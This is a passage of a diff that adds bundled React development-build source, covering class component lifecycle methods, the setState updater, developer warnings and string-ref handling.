+                callCallback(callback, instance);
+              }
+            }
+          }
+        }
+        var fakeInternalInstance = {};
+        var emptyRefsObject = new React9.Component().refs;
+        var didWarnAboutStateAssignmentForComponent;
+        var didWarnAboutUninitializedState;
+        var didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate;
+        var didWarnAboutLegacyLifecyclesAndDerivedState;
+        var didWarnAboutUndefinedDerivedState;
+        var warnOnUndefinedDerivedState;
+        var warnOnInvalidCallback;
+        var didWarnAboutDirectlyAssigningPropsToState;
+        var didWarnAboutContextTypeAndContextTypes;
+        var didWarnAboutInvalidateContextType;
+        {
+          didWarnAboutStateAssignmentForComponent = /* @__PURE__ */ new Set();
+          didWarnAboutUninitializedState = /* @__PURE__ */ new Set();
+          didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate = /* @__PURE__ */ new Set();
+          didWarnAboutLegacyLifecyclesAndDerivedState = /* @__PURE__ */ new Set();
+          didWarnAboutDirectlyAssigningPropsToState = /* @__PURE__ */ new Set();
+          didWarnAboutUndefinedDerivedState = /* @__PURE__ */ new Set();
+          didWarnAboutContextTypeAndContextTypes = /* @__PURE__ */ new Set();
+          didWarnAboutInvalidateContextType = /* @__PURE__ */ new Set();
+          var didWarnOnInvalidCallback = /* @__PURE__ */ new Set();
+          warnOnInvalidCallback = function(callback, callerName) {
+            if (callback === null || typeof callback === "function") {
+              return;
+            }
+            var key = callerName + "_" + callback;
+            if (!didWarnOnInvalidCallback.has(key)) {
+              didWarnOnInvalidCallback.add(key);
+              error("%s(...): Expected the last optional `callback` argument to be a function. Instead received: %s.", callerName, callback);
+            }
+          };
+          warnOnUndefinedDerivedState = function(type, partialState) {
+            if (partialState === void 0) {
+              var componentName = getComponentNameFromType(type) || "Component";
+              if (!didWarnAboutUndefinedDerivedState.has(componentName)) {
+                didWarnAboutUndefinedDerivedState.add(componentName);
+                error("%s.getDerivedStateFromProps(): A valid state object (or null) must be returned. You have returned undefined.", componentName);
+              }
+            }
+          };
+          Object.defineProperty(fakeInternalInstance, "_processChildContext", {
+            enumerable: false,
+            value: function() {
+              throw new Error("_processChildContext is not available in React 16+. This likely means you have multiple copies of React and are attempting to nest a React 15 tree inside a React 16 tree using unstable_renderSubtreeIntoContainer, which isn't supported. Try to make sure you have only one copy of React (and ideally, switch to ReactDOM.createPortal).");
+            }
+          });
+          Object.freeze(fakeInternalInstance);
+        }
+        function applyDerivedStateFromProps(workInProgress2, ctor, getDerivedStateFromProps, nextProps) {
+          var prevState = workInProgress2.memoizedState;
+          var partialState = getDerivedStateFromProps(nextProps, prevState);
+          {
+            if (workInProgress2.mode & StrictLegacyMode) {
+              setIsStrictModeForDevtools(true);
+              try {
+                partialState = getDerivedStateFromProps(nextProps, prevState);
+              } finally {
+                setIsStrictModeForDevtools(false);
+              }
+            }
+            warnOnUndefinedDerivedState(ctor, partialState);
+          }
+          var memoizedState = partialState === null || partialState === void 0 ? prevState : assign({}, prevState, partialState);
+          workInProgress2.memoizedState = memoizedState;
+          if (workInProgress2.lanes === NoLanes) {
+            var updateQueue = workInProgress2.updateQueue;
+            updateQueue.baseState = memoizedState;
+          }
+        }
+        var classComponentUpdater = {
+          isMounted,
+          enqueueSetState: function(inst, payload, callback) {
+            var fiber = get(inst);
+            var eventTime = requestEventTime();
+            var lane = requestUpdateLane(fiber);
+            var update = createUpdate(eventTime, lane);
+            update.payload = payload;
+            if (callback !== void 0 && callback !== null) {
+              {
+                warnOnInvalidCallback(callback, "setState");
+              }
+              update.callback = callback;
+            }
+            var root2 = enqueueUpdate(fiber, update, lane);
+            if (root2 !== null) {
+              scheduleUpdateOnFiber(root2, fiber, lane, eventTime);
+              entangleTransitions(root2, fiber, lane);
+            }
+            {
+              markStateUpdateScheduled(fiber, lane);
+            }
+          },
+          enqueueReplaceState: function(inst, payload, callback) {
+            var fiber = get(inst);
+            var eventTime = requestEventTime();
+            var lane = requestUpdateLane(fiber);
+            var update = createUpdate(eventTime, lane);
+            update.tag = ReplaceState;
+            update.payload = payload;
+            if (callback !== void 0 && callback !== null) {
+              {
+                warnOnInvalidCallback(callback, "replaceState");
+              }
+              update.callback = callback;
+            }
+            var root2 = enqueueUpdate(fiber, update, lane);
+            if (root2 !== null) {
+              scheduleUpdateOnFiber(root2, fiber, lane, eventTime);
+              entangleTransitions(root2, fiber, lane);
+            }
+            {
+              markStateUpdateScheduled(fiber, lane);
+            }
+          },
+          enqueueForceUpdate: function(inst, callback) {
+            var fiber = get(inst);
+            var eventTime = requestEventTime();
+            var lane = requestUpdateLane(fiber);
+            var update = createUpdate(eventTime, lane);
+            update.tag = ForceUpdate;
+            if (callback !== void 0 && callback !== null) {
+              {
+                warnOnInvalidCallback(callback, "forceUpdate");
+              }
+              update.callback = callback;
+            }
+            var root2 = enqueueUpdate(fiber, update, lane);
+            if (root2 !== null) {
+              scheduleUpdateOnFiber(root2, fiber, lane, eventTime);
+              entangleTransitions(root2, fiber, lane);
+            }
+            {
+              markForceUpdateScheduled(fiber, lane);
+            }
+          }
+        };
+        function checkShouldComponentUpdate(workInProgress2, ctor, oldProps, newProps, oldState, newState, nextContext) {
+          var instance = workInProgress2.stateNode;
+          if (typeof instance.shouldComponentUpdate === "function") {
+            var shouldUpdate = instance.shouldComponentUpdate(newProps, newState, nextContext);
+            {
+              if (workInProgress2.mode & StrictLegacyMode) {
+                setIsStrictModeForDevtools(true);
+                try {
+                  shouldUpdate = instance.shouldComponentUpdate(newProps, newState, nextContext);
+                } finally {
+                  setIsStrictModeForDevtools(false);
+                }
+              }
+              if (shouldUpdate === void 0) {
+                error("%s.shouldComponentUpdate(): Returned undefined instead of a boolean value. Make sure to return true or false.", getComponentNameFromType(ctor) || "Component");
+              }
+            }
+            return shouldUpdate;
+          }
+          if (ctor.prototype && ctor.prototype.isPureReactComponent) {
+            return !shallowEqual(oldProps, newProps) || !shallowEqual(oldState, newState);
+          }
+          return true;
+        }
+        function checkClassInstance(workInProgress2, ctor, newProps) {
+          var instance = workInProgress2.stateNode;
+          {
+            var name = getComponentNameFromType(ctor) || "Component";
+            var renderPresent = instance.render;
+            if (!renderPresent) {
+              if (ctor.prototype && typeof ctor.prototype.render === "function") {
+                error("%s(...): No `render` method found on the returned component instance: did you accidentally return an object from the constructor?", name);
+              } else {
+                error("%s(...): No `render` method found on the returned component instance: you may have forgotten to define `render`.", name);
+              }
+            }
+            if (instance.getInitialState && !instance.getInitialState.isReactClassApproved && !instance.state) {
+              error("getInitialState was defined on %s, a plain JavaScript class. This is only supported for classes created using React.createClass. Did you mean to define a state property instead?", name);
+            }
+            if (instance.getDefaultProps && !instance.getDefaultProps.isReactClassApproved) {
+              error("getDefaultProps was defined on %s, a plain JavaScript class. This is only supported for classes created using React.createClass. Use a static property to define defaultProps instead.", name);
+            }
+            if (instance.propTypes) {
+              error("propTypes was defined as an instance property on %s. Use a static property to define propTypes instead.", name);
+            }
+            if (instance.contextType) {
+              error("contextType was defined as an instance property on %s. Use a static property to define contextType instead.", name);
+            }
+            {
+              if (instance.contextTypes) {
+                error("contextTypes was defined as an instance property on %s. Use a static property to define contextTypes instead.", name);
+              }
+              if (ctor.contextType && ctor.contextTypes && !didWarnAboutContextTypeAndContextTypes.has(ctor)) {
+                didWarnAboutContextTypeAndContextTypes.add(ctor);
+                error("%s declares both contextTypes and contextType static properties. The legacy contextTypes property will be ignored.", name);
+              }
+            }
+            if (typeof instance.componentShouldUpdate === "function") {
+              error("%s has a method called componentShouldUpdate(). Did you mean shouldComponentUpdate()? The name is phrased as a question because the function is expected to return a value.", name);
+            }
+            if (ctor.prototype && ctor.prototype.isPureReactComponent && typeof instance.shouldComponentUpdate !== "undefined") {
+              error("%s has a method called shouldComponentUpdate(). shouldComponentUpdate should not be used when extending React.PureComponent. Please extend React.Component if shouldComponentUpdate is used.", getComponentNameFromType(ctor) || "A pure component");
+            }
+            if (typeof instance.componentDidUnmount === "function") {
+              error("%s has a method called componentDidUnmount(). But there is no such lifecycle method. Did you mean componentWillUnmount()?", name);
+            }
+            if (typeof instance.componentDidReceiveProps === "function") {
+              error("%s has a method called componentDidReceiveProps(). But there is no such lifecycle method. If you meant to update the state in response to changing props, use componentWillReceiveProps(). If you meant to fetch data or run side-effects or mutations after React has updated the UI, use componentDidUpdate().", name);
+            }
+            if (typeof instance.componentWillRecieveProps === "function") {
+              error("%s has a method called componentWillRecieveProps(). Did you mean componentWillReceiveProps()?", name);
+            }
+            if (typeof instance.UNSAFE_componentWillRecieveProps === "function") {
+              error("%s has a method called UNSAFE_componentWillRecieveProps(). Did you mean UNSAFE_componentWillReceiveProps()?", name);
+            }
+            var hasMutatedProps = instance.props !== newProps;
+            if (instance.props !== void 0 && hasMutatedProps) {
+              error("%s(...): When calling super() in `%s`, make sure to pass up the same props that your component's constructor was passed.", name, name);
+            }
+            if (instance.defaultProps) {
+              error("Setting defaultProps as an instance property on %s is not supported and will be ignored. Instead, define defaultProps as a static property on %s.", name, name);
+            }
+            if (typeof instance.getSnapshotBeforeUpdate === "function" && typeof instance.componentDidUpdate !== "function" && !didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate.has(ctor)) {
+              didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate.add(ctor);
+              error("%s: getSnapshotBeforeUpdate() should be used with componentDidUpdate(). This component defines getSnapshotBeforeUpdate() only.", getComponentNameFromType(ctor));
+            }
+            if (typeof instance.getDerivedStateFromProps === "function") {
+              error("%s: getDerivedStateFromProps() is defined as an instance method and will be ignored. Instead, declare it as a static method.", name);
+            }
+            if (typeof instance.getDerivedStateFromError === "function") {
+              error("%s: getDerivedStateFromError() is defined as an instance method and will be ignored. Instead, declare it as a static method.", name);
+            }
+            if (typeof ctor.getSnapshotBeforeUpdate === "function") {
+              error("%s: getSnapshotBeforeUpdate() is defined as a static method and will be ignored. Instead, declare it as an instance method.", name);
+            }
+            var _state = instance.state;
+            if (_state && (typeof _state !== "object" || isArray(_state))) {
+              error("%s.state: must be set to an object or null", name);
+            }
+            if (typeof instance.getChildContext === "function" && typeof ctor.childContextTypes !== "object") {
+              error("%s.getChildContext(): childContextTypes must be defined in order to use getChildContext().", name);
+            }
+          }
+        }
+        function adoptClassInstance(workInProgress2, instance) {
+          instance.updater = classComponentUpdater;
+          workInProgress2.stateNode = instance;
+          set(instance, workInProgress2);
+          {
+            instance._reactInternalInstance = fakeInternalInstance;
+          }
+        }
+        function constructClassInstance(workInProgress2, ctor, props) {
+          var isLegacyContextConsumer = false;
+          var unmaskedContext = emptyContextObject;
+          var context = emptyContextObject;
+          var contextType = ctor.contextType;
+          {
+            if ("contextType" in ctor) {
+              var isValid = contextType === null || contextType !== void 0 && contextType.$$typeof === REACT_CONTEXT_TYPE && contextType._context === void 0;
+              if (!isValid && !didWarnAboutInvalidateContextType.has(ctor)) {
+                didWarnAboutInvalidateContextType.add(ctor);
+                var addendum = "";
+                if (contextType === void 0) {
+                  addendum = " However, it is set to undefined. This can be caused by a typo or by mixing up named and default imports. This can also happen due to a circular dependency, so try moving the createContext() call to a separate file.";
+                } else if (typeof contextType !== "object") {
+                  addendum = " However, it is set to a " + typeof contextType + ".";
+                } else if (contextType.$$typeof === REACT_PROVIDER_TYPE) {
+                  addendum = " Did you accidentally pass the Context.Provider instead?";
+                } else if (contextType._context !== void 0) {
+                  addendum = " Did you accidentally pass the Context.Consumer instead?";
+                } else {
+                  addendum = " However, it is set to an object with keys {" + Object.keys(contextType).join(", ") + "}.";
+                }
+                error("%s defines an invalid contextType. contextType should point to the Context object returned by React.createContext().%s", getComponentNameFromType(ctor) || "Component", addendum);
+              }
+            }
+          }
+          if (typeof contextType === "object" && contextType !== null) {
+            context = readContext(contextType);
+          } else {
+            unmaskedContext = getUnmaskedContext(workInProgress2, ctor, true);
+            var contextTypes = ctor.contextTypes;
+            isLegacyContextConsumer = contextTypes !== null && contextTypes !== void 0;
+            context = isLegacyContextConsumer ? getMaskedContext(workInProgress2, unmaskedContext) : emptyContextObject;
+          }
+          var instance = new ctor(props, context);
+          {
+            if (workInProgress2.mode & StrictLegacyMode) {
+              setIsStrictModeForDevtools(true);
+              try {
+                instance = new ctor(props, context);
+              } finally {
+                setIsStrictModeForDevtools(false);
+              }
+            }
+          }
+          var state = workInProgress2.memoizedState = instance.state !== null && instance.state !== void 0 ? instance.state : null;
+          adoptClassInstance(workInProgress2, instance);
+          {
+            if (typeof ctor.getDerivedStateFromProps === "function" && state === null) {
+              var componentName = getComponentNameFromType(ctor) || "Component";
+              if (!didWarnAboutUninitializedState.has(componentName)) {
+                didWarnAboutUninitializedState.add(componentName);
+                error("`%s` uses `getDerivedStateFromProps` but its initial state is %s. This is not recommended. Instead, define the initial state by assigning an object to `this.state` in the constructor of `%s`. This ensures that `getDerivedStateFromProps` arguments have a consistent shape.", componentName, instance.state === null ? "null" : "undefined", componentName);
+              }
+            }
+            if (typeof ctor.getDerivedStateFromProps === "function" || typeof instance.getSnapshotBeforeUpdate === "function") {
+              var foundWillMountName = null;
+              var foundWillReceivePropsName = null;
+              var foundWillUpdateName = null;
+              if (typeof instance.componentWillMount === "function" && instance.componentWillMount.__suppressDeprecationWarning !== true) {
+                foundWillMountName = "componentWillMount";
+              } else if (typeof instance.UNSAFE_componentWillMount === "function") {
+                foundWillMountName = "UNSAFE_componentWillMount";
+              }
+              if (typeof instance.componentWillReceiveProps === "function" && instance.componentWillReceiveProps.__suppressDeprecationWarning !== true) {
+                foundWillReceivePropsName = "componentWillReceiveProps";
+              } else if (typeof instance.UNSAFE_componentWillReceiveProps === "function") {
+                foundWillReceivePropsName = "UNSAFE_componentWillReceiveProps";
+              }
+              if (typeof instance.componentWillUpdate === "function" && instance.componentWillUpdate.__suppressDeprecationWarning !== true) {
+                foundWillUpdateName = "componentWillUpdate";
+              } else if (typeof instance.UNSAFE_componentWillUpdate === "function") {
+                foundWillUpdateName = "UNSAFE_componentWillUpdate";
+              }
+              if (foundWillMountName !== null || foundWillReceivePropsName !== null || foundWillUpdateName !== null) {
+                var _componentName = getComponentNameFromType(ctor) || "Component";
+                var newApiName = typeof ctor.getDerivedStateFromProps === "function" ? "getDerivedStateFromProps()" : "getSnapshotBeforeUpdate()";
+                if (!didWarnAboutLegacyLifecyclesAndDerivedState.has(_componentName)) {
+                  didWarnAboutLegacyLifecyclesAndDerivedState.add(_componentName);
+                  error("Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n%s uses %s but also contains the following legacy lifecycles:%s%s%s\n\nThe above lifecycles should be removed. Learn more about this warning here:\nhttps://reactjs.org/link/unsafe-component-lifecycles", _componentName, newApiName, foundWillMountName !== null ? "\n  " + foundWillMountName : "", foundWillReceivePropsName !== null ? "\n  " + foundWillReceivePropsName : "", foundWillUpdateName !== null ? "\n  " + foundWillUpdateName : "");
+                }
+              }
+            }
+          }
+          if (isLegacyContextConsumer) {
+            cacheContext(workInProgress2, unmaskedContext, context);
+          }
+          return instance;
+        }
+        function callComponentWillMount(workInProgress2, instance) {
+          var oldState = instance.state;
+          if (typeof instance.componentWillMount === "function") {
+            instance.componentWillMount();
+          }
+          if (typeof instance.UNSAFE_componentWillMount === "function") {
+            instance.UNSAFE_componentWillMount();
+          }
+          if (oldState !== instance.state) {
+            {
+              error("%s.componentWillMount(): Assigning directly to this.state is deprecated (except inside a component's constructor). Use setState instead.", getComponentNameFromFiber(workInProgress2) || "Component");
+            }
+            classComponentUpdater.enqueueReplaceState(instance, instance.state, null);
+          }
+        }
+        function callComponentWillReceiveProps(workInProgress2, instance, newProps, nextContext) {
+          var oldState = instance.state;
+          if (typeof instance.componentWillReceiveProps === "function") {
+            instance.componentWillReceiveProps(newProps, nextContext);
+          }
+          if (typeof instance.UNSAFE_componentWillReceiveProps === "function") {
+            instance.UNSAFE_componentWillReceiveProps(newProps, nextContext);
+          }
+          if (instance.state !== oldState) {
+            {
+              var componentName = getComponentNameFromFiber(workInProgress2) || "Component";
+              if (!didWarnAboutStateAssignmentForComponent.has(componentName)) {
+                didWarnAboutStateAssignmentForComponent.add(componentName);
+                error("%s.componentWillReceiveProps(): Assigning directly to this.state is deprecated (except inside a component's constructor). Use setState instead.", componentName);
+              }
+            }
+            classComponentUpdater.enqueueReplaceState(instance, instance.state, null);
+          }
+        }
+        function mountClassInstance(workInProgress2, ctor, newProps, renderLanes2) {
+          {
+            checkClassInstance(workInProgress2, ctor, newProps);
+          }
+          var instance = workInProgress2.stateNode;
+          instance.props = newProps;
+          instance.state = workInProgress2.memoizedState;
+          instance.refs = emptyRefsObject;
+          initializeUpdateQueue(workInProgress2);
+          var contextType = ctor.contextType;
+          if (typeof contextType === "object" && contextType !== null) {
+            instance.context = readContext(contextType);
+          } else {
+            var unmaskedContext = getUnmaskedContext(workInProgress2, ctor, true);
+            instance.context = getMaskedContext(workInProgress2, unmaskedContext);
+          }
+          {
+            if (instance.state === newProps) {
+              var componentName = getComponentNameFromType(ctor) || "Component";
+              if (!didWarnAboutDirectlyAssigningPropsToState.has(componentName)) {
+                didWarnAboutDirectlyAssigningPropsToState.add(componentName);
+                error("%s: It is not recommended to assign props directly to state because updates to props won't be reflected in state. In most cases, it is better to use props directly.", componentName);
+              }
+            }
+            if (workInProgress2.mode & StrictLegacyMode) {
+              ReactStrictModeWarnings.recordLegacyContextWarning(workInProgress2, instance);
+            }
+            {
+              ReactStrictModeWarnings.recordUnsafeLifecycleWarnings(workInProgress2, instance);
+            }
+          }
+          instance.state = workInProgress2.memoizedState;
+          var getDerivedStateFromProps = ctor.getDerivedStateFromProps;
+          if (typeof getDerivedStateFromProps === "function") {
+            applyDerivedStateFromProps(workInProgress2, ctor, getDerivedStateFromProps, newProps);
+            instance.state = workInProgress2.memoizedState;
+          }
+          if (typeof ctor.getDerivedStateFromProps !== "function" && typeof instance.getSnapshotBeforeUpdate !== "function" && (typeof instance.UNSAFE_componentWillMount === "function" || typeof instance.componentWillMount === "function")) {
+            callComponentWillMount(workInProgress2, instance);
+            processUpdateQueue(workInProgress2, newProps, instance, renderLanes2);
+            instance.state = workInProgress2.memoizedState;
+          }
+          if (typeof instance.componentDidMount === "function") {
+            var fiberFlags = Update;
+            {
+              fiberFlags |= LayoutStatic;
+            }
+            if ((workInProgress2.mode & StrictEffectsMode) !== NoMode) {
+              fiberFlags |= MountLayoutDev;
+            }
+            workInProgress2.flags |= fiberFlags;
+          }
+        }
+        function resumeMountClassInstance(workInProgress2, ctor, newProps, renderLanes2) {
+          var instance = workInProgress2.stateNode;
+          var oldProps = workInProgress2.memoizedProps;
+          instance.props = oldProps;
+          var oldContext = instance.context;
+          var contextType = ctor.contextType;
+          var nextContext = emptyContextObject;
+          if (typeof contextType === "object" && contextType !== null) {
+            nextContext = readContext(contextType);
+          } else {
+            var nextLegacyUnmaskedContext = getUnmaskedContext(workInProgress2, ctor, true);
+            nextContext = getMaskedContext(workInProgress2, nextLegacyUnmaskedContext);
+          }
+          var getDerivedStateFromProps = ctor.getDerivedStateFromProps;
+          var hasNewLifecycles = typeof getDerivedStateFromProps === "function" || typeof instance.getSnapshotBeforeUpdate === "function";
+          if (!hasNewLifecycles && (typeof instance.UNSAFE_componentWillReceiveProps === "function" || typeof instance.componentWillReceiveProps === "function")) {
+            if (oldProps !== newProps || oldContext !== nextContext) {
+              callComponentWillReceiveProps(workInProgress2, instance, newProps, nextContext);
+            }
+          }
+          resetHasForceUpdateBeforeProcessing();
+          var oldState = workInProgress2.memoizedState;
+          var newState = instance.state = oldState;
+          processUpdateQueue(workInProgress2, newProps, instance, renderLanes2);
+          newState = workInProgress2.memoizedState;
+          if (oldProps === newProps && oldState === newState && !hasContextChanged() && !checkHasForceUpdateAfterProcessing()) {
+            if (typeof instance.componentDidMount === "function") {
+              var fiberFlags = Update;
+              {
+                fiberFlags |= LayoutStatic;
+              }
+              if ((workInProgress2.mode & StrictEffectsMode) !== NoMode) {
+                fiberFlags |= MountLayoutDev;
+              }
+              workInProgress2.flags |= fiberFlags;
+            }
+            return false;
+          }
+          if (typeof getDerivedStateFromProps === "function") {
+            applyDerivedStateFromProps(workInProgress2, ctor, getDerivedStateFromProps, newProps);
+            newState = workInProgress2.memoizedState;
+          }
+          var shouldUpdate = checkHasForceUpdateAfterProcessing() || checkShouldComponentUpdate(workInProgress2, ctor, oldProps, newProps, oldState, newState, nextContext);
+          if (shouldUpdate) {
+            if (!hasNewLifecycles && (typeof instance.UNSAFE_componentWillMount === "function" || typeof instance.componentWillMount === "function")) {
+              if (typeof instance.componentWillMount === "function") {
+                instance.componentWillMount();
+              }
+              if (typeof instance.UNSAFE_componentWillMount === "function") {
+                instance.UNSAFE_componentWillMount();
+              }
+            }
+            if (typeof instance.componentDidMount === "function") {
+              var _fiberFlags = Update;
+              {
+                _fiberFlags |= LayoutStatic;
+              }
+              if ((workInProgress2.mode & StrictEffectsMode) !== NoMode) {
+                _fiberFlags |= MountLayoutDev;
+              }
+              workInProgress2.flags |= _fiberFlags;
+            }
+          } else {
+            if (typeof instance.componentDidMount === "function") {
+              var _fiberFlags2 = Update;
+              {
+                _fiberFlags2 |= LayoutStatic;
+              }
+              if ((workInProgress2.mode & StrictEffectsMode) !== NoMode) {
+                _fiberFlags2 |= MountLayoutDev;
+              }
+              workInProgress2.flags |= _fiberFlags2;
+            }
+            workInProgress2.memoizedProps = newProps;
+            workInProgress2.memoizedState = newState;
+          }
+          instance.props = newProps;
+          instance.state = newState;
+          instance.context = nextContext;
+          return shouldUpdate;
+        }
+        function updateClassInstance(current2, workInProgress2, ctor, newProps, renderLanes2) {
+          var instance = workInProgress2.stateNode;
+          cloneUpdateQueue(current2, workInProgress2);
+          var unresolvedOldProps = workInProgress2.memoizedProps;
+          var oldProps = workInProgress2.type === workInProgress2.elementType ? unresolvedOldProps : resolveDefaultProps(workInProgress2.type, unresolvedOldProps);
+          instance.props = oldProps;
+          var unresolvedNewProps = workInProgress2.pendingProps;
+          var oldContext = instance.context;
+          var contextType = ctor.contextType;
+          var nextContext = emptyContextObject;
+          if (typeof contextType === "object" && contextType !== null) {
+            nextContext = readContext(contextType);
+          } else {
+            var nextUnmaskedContext = getUnmaskedContext(workInProgress2, ctor, true);
+            nextContext = getMaskedContext(workInProgress2, nextUnmaskedContext);
+          }
+          var getDerivedStateFromProps = ctor.getDerivedStateFromProps;
+          var hasNewLifecycles = typeof getDerivedStateFromProps === "function" || typeof instance.getSnapshotBeforeUpdate === "function";
+          if (!hasNewLifecycles && (typeof instance.UNSAFE_componentWillReceiveProps === "function" || typeof instance.componentWillReceiveProps === "function")) {
+            if (unresolvedOldProps !== unresolvedNewProps || oldContext !== nextContext) {
+              callComponentWillReceiveProps(workInProgress2, instance, newProps, nextContext);
+            }
+          }
+          resetHasForceUpdateBeforeProcessing();
+          var oldState = workInProgress2.memoizedState;
+          var newState = instance.state = oldState;
+          processUpdateQueue(workInProgress2, newProps, instance, renderLanes2);
+          newState = workInProgress2.memoizedState;
+          if (unresolvedOldProps === unresolvedNewProps && oldState === newState && !hasContextChanged() && !checkHasForceUpdateAfterProcessing() && !enableLazyContextPropagation) {
+            if (typeof instance.componentDidUpdate === "function") {
+              if (unresolvedOldProps !== current2.memoizedProps || oldState !== current2.memoizedState) {
+                workInProgress2.flags |= Update;
+              }
+            }
+            if (typeof instance.getSnapshotBeforeUpdate === "function") {
+              if (unresolvedOldProps !== current2.memoizedProps || oldState !== current2.memoizedState) {
+                workInProgress2.flags |= Snapshot;
+              }
+            }
+            return false;
+          }
+          if (typeof getDerivedStateFromProps === "function") {
+            applyDerivedStateFromProps(workInProgress2, ctor, getDerivedStateFromProps, newProps);
+            newState = workInProgress2.memoizedState;
+          }
+          var shouldUpdate = checkHasForceUpdateAfterProcessing() || checkShouldComponentUpdate(workInProgress2, ctor, oldProps, newProps, oldState, newState, nextContext) || enableLazyContextPropagation;
+          if (shouldUpdate) {
+            if (!hasNewLifecycles && (typeof instance.UNSAFE_componentWillUpdate === "function" || typeof instance.componentWillUpdate === "function")) {
+              if (typeof instance.componentWillUpdate === "function") {
+                instance.componentWillUpdate(newProps, newState, nextContext);
+              }
+              if (typeof instance.UNSAFE_componentWillUpdate === "function") {
+                instance.UNSAFE_componentWillUpdate(newProps, newState, nextContext);
+              }
+            }
+            if (typeof instance.componentDidUpdate === "function") {
+              workInProgress2.flags |= Update;
+            }
+            if (typeof instance.getSnapshotBeforeUpdate === "function") {
+              workInProgress2.flags |= Snapshot;
+            }
+          } else {
+            if (typeof instance.componentDidUpdate === "function") {
+              if (unresolvedOldProps !== current2.memoizedProps || oldState !== current2.memoizedState) {
+                workInProgress2.flags |= Update;
+              }
+            }
+            if (typeof instance.getSnapshotBeforeUpdate === "function") {
+              if (unresolvedOldProps !== current2.memoizedProps || oldState !== current2.memoizedState) {
+                workInProgress2.flags |= Snapshot;
+              }
+            }
+            workInProgress2.memoizedProps = newProps;
+            workInProgress2.memoizedState = newState;
+          }
+          instance.props = newProps;
+          instance.state = newState;
+          instance.context = nextContext;
+          return shouldUpdate;
+        }
+        var didWarnAboutMaps;
+        var didWarnAboutGenerators;
+        var didWarnAboutStringRefs;
+        var ownerHasKeyUseWarning;
+        var ownerHasFunctionTypeWarning;
+        var warnForMissingKey = function(child, returnFiber) {
+        };
+        {
+          didWarnAboutMaps = false;
+          didWarnAboutGenerators = false;
+          didWarnAboutStringRefs = {};
+          ownerHasKeyUseWarning = {};
+          ownerHasFunctionTypeWarning = {};
+          warnForMissingKey = function(child, returnFiber) {
+            if (child === null || typeof child !== "object") {
+              return;
+            }
+            if (!child._store || child._store.validated || child.key != null) {
+              return;
+            }
+            if (typeof child._store !== "object") {
+              throw new Error("React Component in warnForMissingKey should have a _store. This error is likely caused by a bug in React. Please file an issue.");
+            }
+            child._store.validated = true;
+            var componentName = getComponentNameFromFiber(returnFiber) || "Component";
+            if (ownerHasKeyUseWarning[componentName]) {
+              return;
+            }
+            ownerHasKeyUseWarning[componentName] = true;
+            error('Each child in a list should have a unique "key" prop. See https://reactjs.org/link/warning-keys for more information.');
+          };
+        }
+        function coerceRef(returnFiber, current2, element) {
+          var mixedRef = element.ref;
+          if (mixedRef !== null && typeof mixedRef !== "function" && typeof mixedRef !== "object") {
+            {
+              if ((returnFiber.mode & StrictLegacyMode || warnAboutStringRefs) && !(element._owner && element._self && element._owner.stateNode !== element._self)) {
+                var componentName = getComponentNameFromFiber(returnFiber) || "Component";
+                if (!didWarnAboutStringRefs[componentName]) {
+                  {
+                    error('A string ref, "%s", has been found within a strict mode tree. String refs are a source of potential bugs and should be avoided. We recommend using useRef() or createRef() instead. Learn more about using refs safely here: https://reactjs.org/link/strict-mode-string-ref', mixedRef);
+                  }
+                  didWarnAboutStringRefs[componentName] = true;
+                }
+              }
+            }
+            if (element._owner) {
+              var owner = element._owner;
+              var inst;
+              if (owner) {
+                var ownerFiber = owner;
+                if (ownerFiber.tag !== ClassComponent) {
+                  throw new Error("Function components cannot have string refs. We recommend using useRef() instead. Learn more about using refs safely here: https://reactjs.org/link/strict-mode-string-ref");
+                }
+                inst = ownerFiber.stateNode;
+              }
+              if (!inst) {
+                throw new Error("Missing owner for string ref " + mixedRef + ". This error is likely caused by a bug in React. Please file an issue.");
+              }
+              var resolvedInst = inst;
+              {
+                checkPropStringCoercion(mixedRef, "ref");
+              }
+              var stringRef = "" + mixedRef;
+              if (current2 !== null && current2.ref !== null && typeof current2.ref === "function" && current2.ref._stringRef === stringRef) {
+                return current2.ref;
+              }
+              var ref = function(value) {
+                var refs = resolvedInst.refs;
+                if (refs === emptyRefsObject) {
+                  refs = resolvedInst.refs = {};
+                }
+                if (value === null) {
+                  delete refs[stringRef];
+                } else {
+                  refs[stringRef] = value;
+                }
+              };
+              ref._stringRef = stringRef;
+              return ref;
+            } else {
+              if (typeof mixedRef !== "string") {
+                throw new Error("Expected ref to be a function, a string, an object returned by React.createRef(), or null.");
+              }
+              if (!element._owner) {
+                throw new Error("Element ref was specified as a string (" + mixedRef + ") but no owner was set. This could happen for one of the following reasons:\n1. You may be adding a ref to a function component\n2. You may be adding a ref to a component that was not created inside a component's render method\n3. You have multiple copies of React loaded\nSee https://reactjs.org/link/refs-must-have-owner for more information.");
+              }
+            }
+          }
+          return mixedRef;
+        }
+        function throwOnInvalidObjectType(returnFiber, newChild) {
+          var childString = Object.prototype.toString.call(newChild);
+          throw new Error("Objects are not valid as a React child (found: " + (childString === "[object Object]" ? "object with keys {" + Object.keys(newChild).join(", ") + "}" : childString) + "). If you meant to render a collection of children, use an array instead.");
+        }
+        function warnOnFunctionType(returnFiber) {
+          {
+            var componentName = getComponentNameFromFiber(returnFiber) || "Component";
+            if (ownerHasFunctionTypeWarning[componentName]) {
+              return;
+            }
+            ownerHasFunctionTypeWarning[componentName] = true;
+            error("Functions are not valid as a React child. This may happen if you return a Component instead of <Component /> from render. Or maybe you meant to call this function rather than return it.");
+          }
+        }
+        function resolveLazy(lazyType) {
+          var payload = lazyType._payload;
+          var init = lazyType._init;
+          return init(payload);
+        }
+        function ChildReconciler(shouldTrackSideEffects) {
+          function deleteChild(returnFiber, childToDelete) {
+            if (!shouldTrackSideEffects) {
+              return;
+            }
+            var deletions = returnFiber.deletions;
+            if (deletions === null) {
+              returnFiber.deletions = [childToDelete];
+              returnFiber.flags |= ChildDeletion;
+            } else {
+              deletions.push(childToDelete);
+            }
+          }
+          function deleteRemainingChildren(returnFiber, currentFirstChild) {
+            if (!shouldTrackSideEffects) {
+              return null;
+            }
+            var childToDelete = currentFirstChild;
+            while (childToDelete !== null) {
+              deleteChild(returnFiber, childToDelete);
+              childToDelete = childToDelete.sibling;
+            }
+            return null;
+          }
+          function mapRemainingChildren(returnFiber, currentFirstChild) {
+            var existingChildren = /* @__PURE__ */ new Map();
